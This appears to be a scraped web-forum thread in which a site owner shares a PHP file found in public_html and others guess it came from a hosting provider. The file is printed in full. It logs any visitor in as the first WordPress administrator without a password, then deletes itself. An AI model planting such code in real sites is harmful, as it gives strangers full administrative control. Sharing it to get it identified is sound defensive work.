I found this in my public\_html folder. All scans seem to think it is Ok. How in the world did it end up there ?
<?php
//
// Automatically login a single WordPress user upon arrival to main page.
//
function auto\_login() {
if (!is\_user\_logged\_in()) {
// Admin user\_id
$admins = get\_users(array(‘role’=>’administrator’));
$user\_id = $admins\[0\]->ID;
$user = get\_user\_by( ‘ID’, $user\_id );
if ( !$user ) {
error\_log(“wp\_auto\_login: user\_id==1 not found redirecting to admin\_url”);
$redirect\_page = admin\_url();
wp\_redirect( $redirect\_page );
exit();
}
$loginusername = $user->user\_login;
wp\_set\_current\_user($user\_id, $loginusername);
wp\_set\_auth\_cookie($user\_id);
// Go to admin area
$redirect\_page = admin\_url();
error\_log(“wp\_auto\_login: trying to login user\_id==1 loginusername=$loginusername to admin\_url=$redirect\_page”);
wp\_redirect( $redirect\_page );
exit();
}
}
​
// Initialize wordpress
define( ‘WP\_USE\_THEMES’, true );
​
$time\_since\_script\_creation = time() – stat(\_\_FILE\_\_)\[‘mtime’\];
​
// Delete itself to make sure it is executed only once
unlink(\_\_FILE\_\_);
​
if ( ! isset( $wp\_did\_header ) ) {
$wp\_did\_header = true;
​
// Load the WordPress library.
require\_once( dirname( \_\_FILE\_\_ ) . ‘/wp-load.php’ );
​
// If the user is already logged in just redirect it to admin area
if ( is\_user\_logged\_in() ) {
$redirect\_page = admin\_url();
wp\_redirect( $redirect\_page );
exit();
}
​
// Avalon auto-login
// If script is older than 30 minutes, doesn’t log in as admin
if ($time\_since\_script\_creation < 30 + 60) {
auto\_login();
}
​
// Set up the WordPress query
wp();
​
// Load the theme template
require\_once( ABSPATH . WPINC . ‘/template-loader.php’ );
}
[ad_2]
Probably placed there by your current, or a previous hosting company to allow you to login without username/password. Personally, I wouldn’t like that being there.
Confirm with your hosting provider.
> Avalon auto-login
Do you know who Avalon is? That’s where I’d start.
Looks similar to this one. https://wordpress.org/support/topic/file-appears-to-be-malicious-or-unsafe-wp_auto_login_e7eb5fc1533296eec7c9ef1cc7/
Might be the hosting provider. Delete it and see if it comes back after going through their admin to get into WordPress.